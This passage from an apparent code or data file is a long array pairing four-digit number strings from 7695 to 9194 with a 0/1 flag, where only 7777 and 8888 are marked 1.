}, { "7695", 0 }, { "7696", 0 }, { "7697", 0 }, { "7698", 0 }, { "7699", 0 }, { "7700", 0 }, { "7701", 0 }, { "7702", 0 }, { "7703", 0 }, { "7704", 0 }, { "7705", 0 }, { "7706", 0 }, { "7707", 0 }, { "7708", 0 }, { "7709", 0 }, { "7710", 0 }, { "7711", 0 }, { "7712", 0 }, { "7713", 0 }, { "7714", 0 }, { "7715", 0 }, { "7716", 0 }, { "7717", 0 }, { "7718", 0 }, { "7719", 0 }, { "7720", 0 }, { "7721", 0 }, { "7722", 0 }, { "7723", 0 }, { "7724", 0 }, { "7725", 0 }, { "7726", 0 }, { "7727", 0 }, { "7728", 0 }, { "7729", 0 }, { "7730", 0 }, { "7731", 0 }, { "7732", 0 }, { "7733", 0 }, { "7734", 0 }, { "7735", 0 }, { "7736", 0 }, { "7737", 0 }, { "7738", 0 }, { "7739", 0 }, { "7740", 0 }, { "7741", 0 }, { "7742", 0 }, { "7743", 0 }, { "7744", 0 }, { "7745", 0 }, { "7746", 0 }, { "7747", 0 }, { "7748", 0 }, { "7749", 0 }, { "7750", 0 }, { "7751", 0 }, { "7752", 0 }, { "7753", 0 }, { "7754", 0 }, { "7755", 0 }, { "7756", 0 }, { "7757", 0 }, { "7758", 0 }, { "7759", 0 }, { "7760", 0 }, { "7761", 0 }, { "7762", 0 }, { "7763", 0 }, { "7764", 0 }, { "7765", 0 }, { "7766", 0 }, { "7767", 0 }, { "7768", 0 }, { "7769", 0 }, { "7770", 0 }, { "7771", 0 }, { "7772", 0 }, { "7773", 0 }, { "7774", 0 }, { "7775", 0 }, { "7776", 0 }, { "7777", 1 }, { "7778", 0 }, { "7779", 0 }, { "7780", 0 }, { "7781", 0 }, { "7782", 0 }, { "7783", 0 }, { "7784", 0 }, { "7785", 0 }, { "7786", 0 }, { "7787", 0 }, { "7788", 0 }, { "7789", 0 }, { "7790", 0 }, { "7791", 0 }, { "7792", 0 }, { "7793", 0 }, { "7794", 0 }, { "7795", 0 }, { "7796", 0 }, { "7797", 0 }, { "7798", 0 }, { "7799", 0 }, { "7800", 0 }, { "7801", 0 }, { "7802", 0 }, { "7803", 0 }, { "7804", 0 }, { "7805", 0 }, { "7806", 0 }, { "7807", 0 }, { "7808", 0 }, { "7809", 0 }, { "7810", 0 }, { "7811", 0 }, { "7812", 0 }, { "7813", 0 }, { "7814", 0 }, { "7815", 0 }, { "7816", 0 }, { "7817", 0 }, { "7818", 0 }, { "7819", 0 }, { "7820", 0 }, { "7821", 0 }, { "7822", 0 }, { "7823", 0 }, { "7824", 0 }, { "7825", 0 }, { "7826", 0 }, { "7827", 0 }, { "7828", 0 }, { "7829", 0 }, { "7830", 0 }, { "7831", 0 }, { "7832", 0 }, { "7833", 0 }, { "7834", 0 }, { "7835", 0 }, { "7836", 0 }, { "7837", 0 }, { "7838", 0 }, { "7839", 0 }, { "7840", 0 }, { "7841", 0 }, { "7842", 0 }, { "7843", 0 }, { "7844", 0 }, { "7845", 0 }, { "7846", 0 }, { "7847", 0 }, { "7848", 0 }, { "7849", 0 }, { "7850", 0 }, { "7851", 0 }, { "7852", 0 }, { "7853", 0 }, { "7854", 0 }, { "7855", 0 }, { "7856", 0 }, { "7857", 0 }, { "7858", 0 }, { "7859", 0 }, { "7860", 0 }, { "7861", 0 }, { "7862", 0 }, { "7863", 0 }, { "7864", 0 }, { "7865", 0 }, { "7866", 0 }, { "7867", 0 }, { "7868", 0 }, { "7869", 0 }, { "7870", 0 }, { "7871", 0 }, { "7872", 0 }, { "7873", 0 }, { "7874", 0 }, { "7875", 0 }, { "7876", 0 }, { "7877", 0 }, { "7878", 0 }, { "7879", 0 }, { "7880", 0 }, { "7881", 0 }, { "7882", 0 }, { "7883", 0 }, { "7884", 0 }, { "7885", 0 }, { "7886", 0 }, { "7887", 0 }, { "7888", 0 }, { "7889", 0 }, { "7890", 0 }, { "7891", 0 }, { "7892", 0 }, { "7893", 0 }, { "7894", 0 }, { "7895", 0 }, { "7896", 0 }, { "7897", 0 }, { "7898", 0 }, { "7899", 0 }, { "7900", 0 }, { "7901", 0 }, { "7902", 0 }, { "7903", 0 }, { "7904", 0 }, { "7905", 0 }, { "7906", 0 }, { "7907", 0 }, { "7908", 0 }, { "7909", 0 }, { "7910", 0 }, { "7911", 0 }, { "7912", 0 }, { "7913", 0 }, { "7914", 0 }, { "7915", 0 }, { "7916", 0 }, { "7917", 0 }, { "7918", 0 }, { "7919", 0 }, { "7920", 0 }, { "7921", 0 }, { "7922", 0 }, { "7923", 0 }, { "7924", 0 }, { "7925", 0 }, { "7926", 0 }, { "7927", 0 }, { "7928", 0 }, { "7929", 0 }, { "7930", 0 }, { "7931", 0 }, { "7932", 0 }, { "7933", 0 }, { "7934", 0 }, { "7935", 0 }, { "7936", 0 }, { "7937", 0 }, { "7938", 0 }, { "7939", 0 }, { "7940", 0 }, { "7941", 0 }, { "7942", 0 }, { "7943", 0 }, { "7944", 0 }, { "7945", 0 }, { "7946", 0 }, { "7947", 0 }, { "7948", 0 }, { "7949", 0 }, { "7950", 0 }, { "7951", 0 }, { "7952", 0 }, { "7953", 0 }, { "7954", 0 }, { "7955", 0 }, { "7956", 0 }, { "7957", 0 }, { "7958", 0 }, { "7959", 0 }, { "7960", 0 }, { "7961", 0 }, { "7962", 0 }, { "7963", 0 }, { "7964", 0 }, { "7965", 0 }, { "7966", 0 }, { "7967", 0 }, { "7968", 0 }, { "7969", 0 }, { "7970", 0 }, { "7971", 0 }, { "7972", 0 }, { "7973", 0 }, { "7974", 0 }, { "7975", 0 }, { "7976", 0 }, { "7977", 0 }, { "7978", 0 }, { "7979", 0 }, { "7980", 0 }, { "7981", 0 }, { "7982", 0 }, { "7983", 0 }, { "7984", 0 }, { "7985", 0 }, { "7986", 0 }, { "7987", 0 }, { "7988", 0 }, { "7989", 0 }, { "7990", 0 }, { "7991", 0 }, { "7992", 0 }, { "7993", 0 }, { "7994", 0 }, { "7995", 0 }, { "7996", 0 }, { "7997", 0 }, { "7998", 0 }, { "7999", 0 }, { "8000", 0 }, { "8001", 0 }, { "8002", 0 }, { "8003", 0 }, { "8004", 0 }, { "8005", 0 }, { "8006", 0 }, { "8007", 0 }, { "8008", 0 }, { "8009", 0 }, { "8010", 0 }, { "8011", 0 }, { "8012", 0 }, { "8013", 0 }, { "8014", 0 }, { "8015", 0 }, { "8016", 0 }, { "8017", 0 }, { "8018", 0 }, { "8019", 0 }, { "8020", 0 }, { "8021", 0 }, { "8022", 0 }, { "8023", 0 }, { "8024", 0 }, { "8025", 0 }, { "8026", 0 }, { "8027", 0 }, { "8028", 0 }, { "8029", 0 }, { "8030", 0 }, { "8031", 0 }, { "8032", 0 }, { "8033", 0 }, { "8034", 0 }, { "8035", 0 }, { "8036", 0 }, { "8037", 0 }, { "8038", 0 }, { "8039", 0 }, { "8040", 0 }, { "8041", 0 }, { "8042", 0 }, { "8043", 0 }, { "8044", 0 }, { "8045", 0 }, { "8046", 0 }, { "8047", 0 }, { "8048", 0 }, { "8049", 0 }, { "8050", 0 }, { "8051", 0 }, { "8052", 0 }, { "8053", 0 }, { "8054", 0 }, { "8055", 0 }, { "8056", 0 }, { "8057", 0 }, { "8058", 0 }, { "8059", 0 }, { "8060", 0 }, { "8061", 0 }, { "8062", 0 }, { "8063", 0 }, { "8064", 0 }, { "8065", 0 }, { "8066", 0 }, { "8067", 0 }, { "8068", 0 }, { "8069", 0 }, { "8070", 0 }, { "8071", 0 }, { "8072", 0 }, { "8073", 0 }, { "8074", 0 }, { "8075", 0 }, { "8076", 0 }, { "8077", 0 }, { "8078", 0 }, { "8079", 0 }, { "8080", 0 }, { "8081", 0 }, { "8082", 0 }, { "8083", 0 }, { "8084", 0 }, { "8085", 0 }, { "8086", 0 }, { "8087", 0 }, { "8088", 0 }, { "8089", 0 }, { "8090", 0 }, { "8091", 0 }, { "8092", 0 }, { "8093", 0 }, { "8094", 0 }, { "8095", 0 }, { "8096", 0 }, { "8097", 0 }, { "8098", 0 }, { "8099", 0 }, { "8100", 0 }, { "8101", 0 }, { "8102", 0 }, { "8103", 0 }, { "8104", 0 }, { "8105", 0 }, { "8106", 0 }, { "8107", 0 }, { "8108", 0 }, { "8109", 0 }, { "8110", 0 }, { "8111", 0 }, { "8112", 0 }, { "8113", 0 }, { "8114", 0 }, { "8115", 0 }, { "8116", 0 }, { "8117", 0 }, { "8118", 0 }, { "8119", 0 }, { "8120", 0 }, { "8121", 0 }, { "8122", 0 }, { "8123", 0 }, { "8124", 0 }, { "8125", 0 }, { "8126", 0 }, { "8127", 0 }, { "8128", 0 }, { "8129", 0 }, { "8130", 0 }, { "8131", 0 }, { "8132", 0 }, { "8133", 0 }, { "8134", 0 }, { "8135", 0 }, { "8136", 0 }, { "8137", 0 }, { "8138", 0 }, { "8139", 0 }, { "8140", 0 }, { "8141", 0 }, { "8142", 0 }, { "8143", 0 }, { "8144", 0 }, { "8145", 0 }, { "8146", 0 }, { "8147", 0 }, { "8148", 0 }, { "8149", 0 }, { "8150", 0 }, { "8151", 0 }, { "8152", 0 }, { "8153", 0 }, { "8154", 0 }, { "8155", 0 }, { "8156", 0 }, { "8157", 0 }, { "8158", 0 }, { "8159", 0 }, { "8160", 0 }, { "8161", 0 }, { "8162", 0 }, { "8163", 0 }, { "8164", 0 }, { "8165", 0 }, { "8166", 0 }, { "8167", 0 }, { "8168", 0 }, { "8169", 0 }, { "8170", 0 }, { "8171", 0 }, { "8172", 0 }, { "8173", 0 }, { "8174", 0 }, { "8175", 0 }, { "8176", 0 }, { "8177", 0 }, { "8178", 0 }, { "8179", 0 }, { "8180", 0 }, { "8181", 0 }, { "8182", 0 }, { "8183", 0 }, { "8184", 0 }, { "8185", 0 }, { "8186", 0 }, { "8187", 0 }, { "8188", 0 }, { "8189", 0 }, { "8190", 0 }, { "8191", 0 }, { "8192", 0 }, { "8193", 0 }, { "8194", 0 }, { "8195", 0 }, { "8196", 0 }, { "8197", 0 }, { "8198", 0 }, { "8199", 0 }, { "8200", 0 }, { "8201", 0 }, { "8202", 0 }, { "8203", 0 }, { "8204", 0 }, { "8205", 0 }, { "8206", 0 }, { "8207", 0 }, { "8208", 0 }, { "8209", 0 }, { "8210", 0 }, { "8211", 0 }, { "8212", 0 }, { "8213", 0 }, { "8214", 0 }, { "8215", 0 }, { "8216", 0 }, { "8217", 0 }, { "8218", 0 }, { "8219", 0 }, { "8220", 0 }, { "8221", 0 }, { "8222", 0 }, { "8223", 0 }, { "8224", 0 }, { "8225", 0 }, { "8226", 0 }, { "8227", 0 }, { "8228", 0 }, { "8229", 0 }, { "8230", 0 }, { "8231", 0 }, { "8232", 0 }, { "8233", 0 }, { "8234", 0 }, { "8235", 0 }, { "8236", 0 }, { "8237", 0 }, { "8238", 0 }, { "8239", 0 }, { "8240", 0 }, { "8241", 0 }, { "8242", 0 }, { "8243", 0 }, { "8244", 0 }, { "8245", 0 }, { "8246", 0 }, { "8247", 0 }, { "8248", 0 }, { "8249", 0 }, { "8250", 0 }, { "8251", 0 }, { "8252", 0 }, { "8253", 0 }, { "8254", 0 }, { "8255", 0 }, { "8256", 0 }, { "8257", 0 }, { "8258", 0 }, { "8259", 0 }, { "8260", 0 }, { "8261", 0 }, { "8262", 0 }, { "8263", 0 }, { "8264", 0 }, { "8265", 0 }, { "8266", 0 }, { "8267", 0 }, { "8268", 0 }, { "8269", 0 }, { "8270", 0 }, { "8271", 0 }, { "8272", 0 }, { "8273", 0 }, { "8274", 0 }, { "8275", 0 }, { "8276", 0 }, { "8277", 0 }, { "8278", 0 }, { "8279", 0 }, { "8280", 0 }, { "8281", 0 }, { "8282", 0 }, { "8283", 0 }, { "8284", 0 }, { "8285", 0 }, { "8286", 0 }, { "8287", 0 }, { "8288", 0 }, { "8289", 0 }, { "8290", 0 }, { "8291", 0 }, { "8292", 0 }, { "8293", 0 }, { "8294", 0 }, { "8295", 0 }, { "8296", 0 }, { "8297", 0 }, { "8298", 0 }, { "8299", 0 }, { "8300", 0 }, { "8301", 0 }, { "8302", 0 }, { "8303", 0 }, { "8304", 0 }, { "8305", 0 }, { "8306", 0 }, { "8307", 0 }, { "8308", 0 }, { "8309", 0 }, { "8310", 0 }, { "8311", 0 }, { "8312", 0 }, { "8313", 0 }, { "8314", 0 }, { "8315", 0 }, { "8316", 0 }, { "8317", 0 }, { "8318", 0 }, { "8319", 0 }, { "8320", 0 }, { "8321", 0 }, { "8322", 0 }, { "8323", 0 }, { "8324", 0 }, { "8325", 0 }, { "8326", 0 }, { "8327", 0 }, { "8328", 0 }, { "8329", 0 }, { "8330", 0 }, { "8331", 0 }, { "8332", 0 }, { "8333", 0 }, { "8334", 0 }, { "8335", 0 }, { "8336", 0 }, { "8337", 0 }, { "8338", 0 }, { "8339", 0 }, { "8340", 0 }, { "8341", 0 }, { "8342", 0 }, { "8343", 0 }, { "8344", 0 }, { "8345", 0 }, { "8346", 0 }, { "8347", 0 }, { "8348", 0 }, { "8349", 0 }, { "8350", 0 }, { "8351", 0 }, { "8352", 0 }, { "8353", 0 }, { "8354", 0 }, { "8355", 0 }, { "8356", 0 }, { "8357", 0 }, { "8358", 0 }, { "8359", 0 }, { "8360", 0 }, { "8361", 0 }, { "8362", 0 }, { "8363", 0 }, { "8364", 0 }, { "8365", 0 }, { "8366", 0 }, { "8367", 0 }, { "8368", 0 }, { "8369", 0 }, { "8370", 0 }, { "8371", 0 }, { "8372", 0 }, { "8373", 0 }, { "8374", 0 }, { "8375", 0 }, { "8376", 0 }, { "8377", 0 }, { "8378", 0 }, { "8379", 0 }, { "8380", 0 }, { "8381", 0 }, { "8382", 0 }, { "8383", 0 }, { "8384", 0 }, { "8385", 0 }, { "8386", 0 }, { "8387", 0 }, { "8388", 0 }, { "8389", 0 }, { "8390", 0 }, { "8391", 0 }, { "8392", 0 }, { "8393", 0 }, { "8394", 0 }, { "8395", 0 }, { "8396", 0 }, { "8397", 0 }, { "8398", 0 }, { "8399", 0 }, { "8400", 0 }, { "8401", 0 }, { "8402", 0 }, { "8403", 0 }, { "8404", 0 }, { "8405", 0 }, { "8406", 0 }, { "8407", 0 }, { "8408", 0 }, { "8409", 0 }, { "8410", 0 }, { "8411", 0 }, { "8412", 0 }, { "8413", 0 }, { "8414", 0 }, { "8415", 0 }, { "8416", 0 }, { "8417", 0 }, { "8418", 0 }, { "8419", 0 }, { "8420", 0 }, { "8421", 0 }, { "8422", 0 }, { "8423", 0 }, { "8424", 0 }, { "8425", 0 }, { "8426", 0 }, { "8427", 0 }, { "8428", 0 }, { "8429", 0 }, { "8430", 0 }, { "8431", 0 }, { "8432", 0 }, { "8433", 0 }, { "8434", 0 }, { "8435", 0 }, { "8436", 0 }, { "8437", 0 }, { "8438", 0 }, { "8439", 0 }, { "8440", 0 }, { "8441", 0 }, { "8442", 0 }, { "8443", 0 }, { "8444", 0 }, { "8445", 0 }, { "8446", 0 }, { "8447", 0 }, { "8448", 0 }, { "8449", 0 }, { "8450", 0 }, { "8451", 0 }, { "8452", 0 }, { "8453", 0 }, { "8454", 0 }, { "8455", 0 }, { "8456", 0 }, { "8457", 0 }, { "8458", 0 }, { "8459", 0 }, { "8460", 0 }, { "8461", 0 }, { "8462", 0 }, { "8463", 0 }, { "8464", 0 }, { "8465", 0 }, { "8466", 0 }, { "8467", 0 }, { "8468", 0 }, { "8469", 0 }, { "8470", 0 }, { "8471", 0 }, { "8472", 0 }, { "8473", 0 }, { "8474", 0 }, { "8475", 0 }, { "8476", 0 }, { "8477", 0 }, { "8478", 0 }, { "8479", 0 }, { "8480", 0 }, { "8481", 0 }, { "8482", 0 }, { "8483", 0 }, { "8484", 0 }, { "8485", 0 }, { "8486", 0 }, { "8487", 0 }, { "8488", 0 }, { "8489", 0 }, { "8490", 0 }, { "8491", 0 }, { "8492", 0 }, { "8493", 0 }, { "8494", 0 }, { "8495", 0 }, { "8496", 0 }, { "8497", 0 }, { "8498", 0 }, { "8499", 0 }, { "8500", 0 }, { "8501", 0 }, { "8502", 0 }, { "8503", 0 }, { "8504", 0 }, { "8505", 0 }, { "8506", 0 }, { "8507", 0 }, { "8508", 0 }, { "8509", 0 }, { "8510", 0 }, { "8511", 0 }, { "8512", 0 }, { "8513", 0 }, { "8514", 0 }, { "8515", 0 }, { "8516", 0 }, { "8517", 0 }, { "8518", 0 }, { "8519", 0 }, { "8520", 0 }, { "8521", 0 }, { "8522", 0 }, { "8523", 0 }, { "8524", 0 }, { "8525", 0 }, { "8526", 0 }, { "8527", 0 }, { "8528", 0 }, { "8529", 0 }, { "8530", 0 }, { "8531", 0 }, { "8532", 0 }, { "8533", 0 }, { "8534", 0 }, { "8535", 0 }, { "8536", 0 }, { "8537", 0 }, { "8538", 0 }, { "8539", 0 }, { "8540", 0 }, { "8541", 0 }, { "8542", 0 }, { "8543", 0 }, { "8544", 0 }, { "8545", 0 }, { "8546", 0 }, { "8547", 0 }, { "8548", 0 }, { "8549", 0 }, { "8550", 0 }, { "8551", 0 }, { "8552", 0 }, { "8553", 0 }, { "8554", 0 }, { "8555", 0 }, { "8556", 0 }, { "8557", 0 }, { "8558", 0 }, { "8559", 0 }, { "8560", 0 }, { "8561", 0 }, { "8562", 0 }, { "8563", 0 }, { "8564", 0 }, { "8565", 0 }, { "8566", 0 }, { "8567", 0 }, { "8568", 0 }, { "8569", 0 }, { "8570", 0 }, { "8571", 0 }, { "8572", 0 }, { "8573", 0 }, { "8574", 0 }, { "8575", 0 }, { "8576", 0 }, { "8577", 0 }, { "8578", 0 }, { "8579", 0 }, { "8580", 0 }, { "8581", 0 }, { "8582", 0 }, { "8583", 0 }, { "8584", 0 }, { "8585", 0 }, { "8586", 0 }, { "8587", 0 }, { "8588", 0 }, { "8589", 0 }, { "8590", 0 }, { "8591", 0 }, { "8592", 0 }, { "8593", 0 }, { "8594", 0 }, { "8595", 0 }, { "8596", 0 }, { "8597", 0 }, { "8598", 0 }, { "8599", 0 }, { "8600", 0 }, { "8601", 0 }, { "8602", 0 }, { "8603", 0 }, { "8604", 0 }, { "8605", 0 }, { "8606", 0 }, { "8607", 0 }, { "8608", 0 }, { "8609", 0 }, { "8610", 0 }, { "8611", 0 }, { "8612", 0 }, { "8613", 0 }, { "8614", 0 }, { "8615", 0 }, { "8616", 0 }, { "8617", 0 }, { "8618", 0 }, { "8619", 0 }, { "8620", 0 }, { "8621", 0 }, { "8622", 0 }, { "8623", 0 }, { "8624", 0 }, { "8625", 0 }, { "8626", 0 }, { "8627", 0 }, { "8628", 0 }, { "8629", 0 }, { "8630", 0 }, { "8631", 0 }, { "8632", 0 }, { "8633", 0 }, { "8634", 0 }, { "8635", 0 }, { "8636", 0 }, { "8637", 0 }, { "8638", 0 }, { "8639", 0 }, { "8640", 0 }, { "8641", 0 }, { "8642", 0 }, { "8643", 0 }, { "8644", 0 }, { "8645", 0 }, { "8646", 0 }, { "8647", 0 }, { "8648", 0 }, { "8649", 0 }, { "8650", 0 }, { "8651", 0 }, { "8652", 0 }, { "8653", 0 }, { "8654", 0 }, { "8655", 0 }, { "8656", 0 }, { "8657", 0 }, { "8658", 0 }, { "8659", 0 }, { "8660", 0 }, { "8661", 0 }, { "8662", 0 }, { "8663", 0 }, { "8664", 0 }, { "8665", 0 }, { "8666", 0 }, { "8667", 0 }, { "8668", 0 }, { "8669", 0 }, { "8670", 0 }, { "8671", 0 }, { "8672", 0 }, { "8673", 0 }, { "8674", 0 }, { "8675", 0 }, { "8676", 0 }, { "8677", 0 }, { "8678", 0 }, { "8679", 0 }, { "8680", 0 }, { "8681", 0 }, { "8682", 0 }, { "8683", 0 }, { "8684", 0 }, { "8685", 0 }, { "8686", 0 }, { "8687", 0 }, { "8688", 0 }, { "8689", 0 }, { "8690", 0 }, { "8691", 0 }, { "8692", 0 }, { "8693", 0 }, { "8694", 0 }, { "8695", 0 }, { "8696", 0 }, { "8697", 0 }, { "8698", 0 }, { "8699", 0 }, { "8700", 0 }, { "8701", 0 }, { "8702", 0 }, { "8703", 0 }, { "8704", 0 }, { "8705", 0 }, { "8706", 0 }, { "8707", 0 }, { "8708", 0 }, { "8709", 0 }, { "8710", 0 }, { "8711", 0 }, { "8712", 0 }, { "8713", 0 }, { "8714", 0 }, { "8715", 0 }, { "8716", 0 }, { "8717", 0 }, { "8718", 0 }, { "8719", 0 }, { "8720", 0 }, { "8721", 0 }, { "8722", 0 }, { "8723", 0 }, { "8724", 0 }, { "8725", 0 }, { "8726", 0 }, { "8727", 0 }, { "8728", 0 }, { "8729", 0 }, { "8730", 0 }, { "8731", 0 }, { "8732", 0 }, { "8733", 0 }, { "8734", 0 }, { "8735", 0 }, { "8736", 0 }, { "8737", 0 }, { "8738", 0 }, { "8739", 0 }, { "8740", 0 }, { "8741", 0 }, { "8742", 0 }, { "8743", 0 }, { "8744", 0 }, { "8745", 0 }, { "8746", 0 }, { "8747", 0 }, { "8748", 0 }, { "8749", 0 }, { "8750", 0 }, { "8751", 0 }, { "8752", 0 }, { "8753", 0 }, { "8754", 0 }, { "8755", 0 }, { "8756", 0 }, { "8757", 0 }, { "8758", 0 }, { "8759", 0 }, { "8760", 0 }, { "8761", 0 }, { "8762", 0 }, { "8763", 0 }, { "8764", 0 }, { "8765", 0 }, { "8766", 0 }, { "8767", 0 }, { "8768", 0 }, { "8769", 0 }, { "8770", 0 }, { "8771", 0 }, { "8772", 0 }, { "8773", 0 }, { "8774", 0 }, { "8775", 0 }, { "8776", 0 }, { "8777", 0 }, { "8778", 0 }, { "8779", 0 }, { "8780", 0 }, { "8781", 0 }, { "8782", 0 }, { "8783", 0 }, { "8784", 0 }, { "8785", 0 }, { "8786", 0 }, { "8787", 0 }, { "8788", 0 }, { "8789", 0 }, { "8790", 0 }, { "8791", 0 }, { "8792", 0 }, { "8793", 0 }, { "8794", 0 }, { "8795", 0 }, { "8796", 0 }, { "8797", 0 }, { "8798", 0 }, { "8799", 0 }, { "8800", 0 }, { "8801", 0 }, { "8802", 0 }, { "8803", 0 }, { "8804", 0 }, { "8805", 0 }, { "8806", 0 }, { "8807", 0 }, { "8808", 0 }, { "8809", 0 }, { "8810", 0 }, { "8811", 0 }, { "8812", 0 }, { "8813", 0 }, { "8814", 0 }, { "8815", 0 }, { "8816", 0 }, { "8817", 0 }, { "8818", 0 }, { "8819", 0 }, { "8820", 0 }, { "8821", 0 }, { "8822", 0 }, { "8823", 0 }, { "8824", 0 }, { "8825", 0 }, { "8826", 0 }, { "8827", 0 }, { "8828", 0 }, { "8829", 0 }, { "8830", 0 }, { "8831", 0 }, { "8832", 0 }, { "8833", 0 }, { "8834", 0 }, { "8835", 0 }, { "8836", 0 }, { "8837", 0 }, { "8838", 0 }, { "8839", 0 }, { "8840", 0 }, { "8841", 0 }, { "8842", 0 }, { "8843", 0 }, { "8844", 0 }, { "8845", 0 }, { "8846", 0 }, { "8847", 0 }, { "8848", 0 }, { "8849", 0 }, { "8850", 0 }, { "8851", 0 }, { "8852", 0 }, { "8853", 0 }, { "8854", 0 }, { "8855", 0 }, { "8856", 0 }, { "8857", 0 }, { "8858", 0 }, { "8859", 0 }, { "8860", 0 }, { "8861", 0 }, { "8862", 0 }, { "8863", 0 }, { "8864", 0 }, { "8865", 0 }, { "8866", 0 }, { "8867", 0 }, { "8868", 0 }, { "8869", 0 }, { "8870", 0 }, { "8871", 0 }, { "8872", 0 }, { "8873", 0 }, { "8874", 0 }, { "8875", 0 }, { "8876", 0 }, { "8877", 0 }, { "8878", 0 }, { "8879", 0 }, { "8880", 0 }, { "8881", 0 }, { "8882", 0 }, { "8883", 0 }, { "8884", 0 }, { "8885", 0 }, { "8886", 0 }, { "8887", 0 }, { "8888", 1 }, { "8889", 0 }, { "8890", 0 }, { "8891", 0 }, { "8892", 0 }, { "8893", 0 }, { "8894", 0 }, { "8895", 0 }, { "8896", 0 }, { "8897", 0 }, { "8898", 0 }, { "8899", 0 }, { "8900", 0 }, { "8901", 0 }, { "8902", 0 }, { "8903", 0 }, { "8904", 0 }, { "8905", 0 }, { "8906", 0 }, { "8907", 0 }, { "8908", 0 }, { "8909", 0 }, { "8910", 0 }, { "8911", 0 }, { "8912", 0 }, { "8913", 0 }, { "8914", 0 }, { "8915", 0 }, { "8916", 0 }, { "8917", 0 }, { "8918", 0 }, { "8919", 0 }, { "8920", 0 }, { "8921", 0 }, { "8922", 0 }, { "8923", 0 }, { "8924", 0 }, { "8925", 0 }, { "8926", 0 }, { "8927", 0 }, { "8928", 0 }, { "8929", 0 }, { "8930", 0 }, { "8931", 0 }, { "8932", 0 }, { "8933", 0 }, { "8934", 0 }, { "8935", 0 }, { "8936", 0 }, { "8937", 0 }, { "8938", 0 }, { "8939", 0 }, { "8940", 0 }, { "8941", 0 }, { "8942", 0 }, { "8943", 0 }, { "8944", 0 }, { "8945", 0 }, { "8946", 0 }, { "8947", 0 }, { "8948", 0 }, { "8949", 0 }, { "8950", 0 }, { "8951", 0 }, { "8952", 0 }, { "8953", 0 }, { "8954", 0 }, { "8955", 0 }, { "8956", 0 }, { "8957", 0 }, { "8958", 0 }, { "8959", 0 }, { "8960", 0 }, { "8961", 0 }, { "8962", 0 }, { "8963", 0 }, { "8964", 0 }, { "8965", 0 }, { "8966", 0 }, { "8967", 0 }, { "8968", 0 }, { "8969", 0 }, { "8970", 0 }, { "8971", 0 }, { "8972", 0 }, { "8973", 0 }, { "8974", 0 }, { "8975", 0 }, { "8976", 0 }, { "8977", 0 }, { "8978", 0 }, { "8979", 0 }, { "8980", 0 }, { "8981", 0 }, { "8982", 0 }, { "8983", 0 }, { "8984", 0 }, { "8985", 0 }, { "8986", 0 }, { "8987", 0 }, { "8988", 0 }, { "8989", 0 }, { "8990", 0 }, { "8991", 0 }, { "8992", 0 }, { "8993", 0 }, { "8994", 0 }, { "8995", 0 }, { "8996", 0 }, { "8997", 0 }, { "8998", 0 }, { "8999", 0 }, { "9000", 0 }, { "9001", 0 }, { "9002", 0 }, { "9003", 0 }, { "9004", 0 }, { "9005", 0 }, { "9006", 0 }, { "9007", 0 }, { "9008", 0 }, { "9009", 0 }, { "9010", 0 }, { "9011", 0 }, { "9012", 0 }, { "9013", 0 }, { "9014", 0 }, { "9015", 0 }, { "9016", 0 }, { "9017", 0 }, { "9018", 0 }, { "9019", 0 }, { "9020", 0 }, { "9021", 0 }, { "9022", 0 }, { "9023", 0 }, { "9024", 0 }, { "9025", 0 }, { "9026", 0 }, { "9027", 0 }, { "9028", 0 }, { "9029", 0 }, { "9030", 0 }, { "9031", 0 }, { "9032", 0 }, { "9033", 0 }, { "9034", 0 }, { "9035", 0 }, { "9036", 0 }, { "9037", 0 }, { "9038", 0 }, { "9039", 0 }, { "9040", 0 }, { "9041", 0 }, { "9042", 0 }, { "9043", 0 }, { "9044", 0 }, { "9045", 0 }, { "9046", 0 }, { "9047", 0 }, { "9048", 0 }, { "9049", 0 }, { "9050", 0 }, { "9051", 0 }, { "9052", 0 }, { "9053", 0 }, { "9054", 0 }, { "9055", 0 }, { "9056", 0 }, { "9057", 0 }, { "9058", 0 }, { "9059", 0 }, { "9060", 0 }, { "9061", 0 }, { "9062", 0 }, { "9063", 0 }, { "9064", 0 }, { "9065", 0 }, { "9066", 0 }, { "9067", 0 }, { "9068", 0 }, { "9069", 0 }, { "9070", 0 }, { "9071", 0 }, { "9072", 0 }, { "9073", 0 }, { "9074", 0 }, { "9075", 0 }, { "9076", 0 }, { "9077", 0 }, { "9078", 0 }, { "9079", 0 }, { "9080", 0 }, { "9081", 0 }, { "9082", 0 }, { "9083", 0 }, { "9084", 0 }, { "9085", 0 }, { "9086", 0 }, { "9087", 0 }, { "9088", 0 }, { "9089", 0 }, { "9090", 0 }, { "9091", 0 }, { "9092", 0 }, { "9093", 0 }, { "9094", 0 }, { "9095", 0 }, { "9096", 0 }, { "9097", 0 }, { "9098", 0 }, { "9099", 0 }, { "9100", 0 }, { "9101", 0 }, { "9102", 0 }, { "9103", 0 }, { "9104", 0 }, { "9105", 0 }, { "9106", 0 }, { "9107", 0 }, { "9108", 0 }, { "9109", 0 }, { "9110", 0 }, { "9111", 0 }, { "9112", 0 }, { "9113", 0 }, { "9114", 0 }, { "9115", 0 }, { "9116", 0 }, { "9117", 0 }, { "9118", 0 }, { "9119", 0 }, { "9120", 0 }, { "9121", 0 }, { "9122", 0 }, { "9123", 0 }, { "9124", 0 }, { "9125", 0 }, { "9126", 0 }, { "9127", 0 }, { "9128", 0 }, { "9129", 0 }, { "9130", 0 }, { "9131", 0 }, { "9132", 0 }, { "9133", 0 }, { "9134", 0 }, { "9135", 0 }, { "9136", 0 }, { "9137", 0 }, { "9138", 0 }, { "9139", 0 }, { "9140", 0 }, { "9141", 0 }, { "9142", 0 }, { "9143", 0 }, { "9144", 0 }, { "9145", 0 }, { "9146", 0 }, { "9147", 0 }, { "9148", 0 }, { "9149", 0 }, { "9150", 0 }, { "9151", 0 }, { "9152", 0 }, { "9153", 0 }, { "9154", 0 }, { "9155", 0 }, { "9156", 0 }, { "9157", 0 }, { "9158", 0 }, { "9159", 0 }, { "9160", 0 }, { "9161", 0 }, { "9162", 0 }, { "9163", 0 }, { "9164", 0 }, { "9165", 0 }, { "9166", 0 }, { "9167", 0 }, { "9168", 0 }, { "9169", 0 }, { "9170", 0 }, { "9171", 0 }, { "9172", 0 }, { "9173", 0 }, { "9174", 0 }, { "9175", 0 }, { "9176", 0 }, { "9177", 0 }, { "9178", 0 }, { "9179", 0 }, { "9180", 0 }, { "9181", 0 }, { "9182", 0 }, { "9183", 0 }, { "9184", 0 }, { "9185", 0 }, { "9186", 0 }, { "9187", 0 }, { "9188", 0 }, { "9189", 0 }, { "9190", 0 }, { "9191", 0 }, { "9192", 0 }, { "9193", 0 }, { "9194", 0 